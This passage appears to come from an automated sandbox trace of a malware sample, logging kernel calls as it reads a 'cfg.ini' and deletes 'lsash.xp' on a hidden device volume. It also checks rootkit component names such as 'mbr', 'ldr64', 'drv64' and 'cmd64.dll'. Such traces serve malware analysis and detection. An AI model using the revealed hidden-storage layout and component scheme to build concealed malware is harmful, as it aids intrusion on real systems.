| out: FastMutex=0xfffffa80027d3898) [0122.298] KeLeaveCriticalRegion () [0122.298] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.298] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.298] KeEnterCriticalRegion () [0122.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.298] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.299] KeLeaveCriticalRegion () [0122.299] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.299] KeEnterCriticalRegion () [0122.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.299] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.299] IdePortDispatch () returned 0x103 [0122.299] KeWaitForMutexObject () returned 0x0 [0122.299] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.299] KeLeaveCriticalRegion () [0122.299] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.299] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.299] KeEnterCriticalRegion () [0122.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.299] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c66000 [0122.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.299] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.299] IdePortDispatch () returned 0x103 [0122.299] KeWaitForMutexObject () returned 0x0 [0122.299] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.300] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.300] IdePortDispatch () returned 0x103 [0122.300] KeWaitForMutexObject () returned 0x0 [0122.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.300] KeLeaveCriticalRegion () [0122.300] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.300] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.300] KeEnterCriticalRegion () [0122.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.300] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.300] KeLeaveCriticalRegion () [0122.300] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.300] KeEnterCriticalRegion () [0122.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.300] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.300] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be46b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.300] KeLeaveCriticalRegion () [0122.300] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.301] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.301] KeEnterCriticalRegion () [0122.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.301] ExFreePoolWithTag (P=0xfffffa8003be44e0, Tag=0x0) [0122.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.301] KeLeaveCriticalRegion () [0122.301] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.301] ReleaseMutex (hMutex=0xf0) returned 1 [0122.301] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.301] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.301] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.301] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.301] KeEnterCriticalRegion () [0122.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.301] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.301] IdePortDispatch () returned 0x103 [0122.301] KeWaitForMutexObject () returned 0x0 [0122.301] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.301] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.301] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.301] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.301] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.301] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.301] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.301] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.301] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.301] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.301] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.301] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.301] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.301] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.301] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.301] KeLeaveCriticalRegion () [0122.301] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.302] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.302] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.302] KeEnterCriticalRegion () [0122.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.302] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.302] IdePortDispatch () returned 0x103 [0122.302] KeWaitForMutexObject () returned 0x0 [0122.302] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.302] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.302] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.302] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.302] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.302] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.302] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.302] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.302] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.302] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.302] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.302] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.302] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.302] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.302] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.302] KeLeaveCriticalRegion () [0122.302] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.303] ReleaseMutex (hMutex=0x100) returned 1 [0122.303] Sleep (dwMilliseconds=0x2bf20) [0122.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c1833d0, dwHighDateTime=0x1d24fa4)) [0122.308] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.310] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.310] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.310] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.310] KeEnterCriticalRegion () [0122.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.310] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.311] IdePortDispatch () returned 0x103 [0122.311] KeWaitForMutexObject () returned 0x0 [0122.311] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.311] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.311] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.311] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.311] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.311] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4af0 [0122.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.311] KeLeaveCriticalRegion () [0122.311] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.311] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.311] KeEnterCriticalRegion () [0122.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.311] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.311] KeLeaveCriticalRegion () [0122.311] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.311] KeEnterCriticalRegion () [0122.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.312] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.312] IdePortDispatch () returned 0x103 [0122.312] KeWaitForMutexObject () returned 0x0 [0122.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.312] KeLeaveCriticalRegion () [0122.312] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.312] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.312] KeEnterCriticalRegion () [0122.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.312] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c69000 [0122.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.312] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.312] IdePortDispatch () returned 0x103 [0122.313] KeWaitForMutexObject () returned 0x0 [0122.313] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.313] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.313] IdePortDispatch () returned 0x103 [0122.313] KeWaitForMutexObject () returned 0x0 [0122.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.313] KeLeaveCriticalRegion () [0122.313] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.314] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.314] KeEnterCriticalRegion () [0122.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.314] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.314] KeLeaveCriticalRegion () [0122.314] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.314] KeEnterCriticalRegion () [0122.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.314] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.314] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.314] KeLeaveCriticalRegion () [0122.314] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.314] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.314] KeEnterCriticalRegion () [0122.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.314] ExFreePoolWithTag (P=0xfffffa8003be4af0, Tag=0x0) [0122.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.314] KeLeaveCriticalRegion () [0122.314] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.314] ReleaseMutex (hMutex=0xf0) returned 1 [0122.314] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.314] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.314] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.314] KeEnterCriticalRegion () [0122.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.314] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.314] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.314] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.314] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.314] IdePortDispatch () returned 0x103 [0122.320] KeWaitForMutexObject () returned 0x0 [0122.320] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.320] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.320] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.320] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.320] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.320] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3950 [0122.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.320] KeLeaveCriticalRegion () [0122.320] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.320] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.320] KeEnterCriticalRegion () [0122.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.320] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.320] KeLeaveCriticalRegion () [0122.320] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.320] KeEnterCriticalRegion () [0122.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.320] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.320] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.320] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.320] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.320] IdePortDispatch () returned 0x103 [0122.320] KeWaitForMutexObject () returned 0x0 [0122.321] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.321] KeLeaveCriticalRegion () [0122.321] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.321] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.321] KeEnterCriticalRegion () [0122.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.321] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6a000 [0122.321] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.321] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.321] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.321] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.321] IdePortDispatch () returned 0x103 [0122.321] KeWaitForMutexObject () returned 0x0 [0122.321] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.321] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.321] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.321] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.321] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.321] IdePortDispatch () returned 0x103 [0122.321] KeWaitForMutexObject () returned 0x0 [0122.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.321] KeLeaveCriticalRegion () [0122.321] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.322] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.322] KeEnterCriticalRegion () [0122.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.322] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.322] KeLeaveCriticalRegion () [0122.322] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | 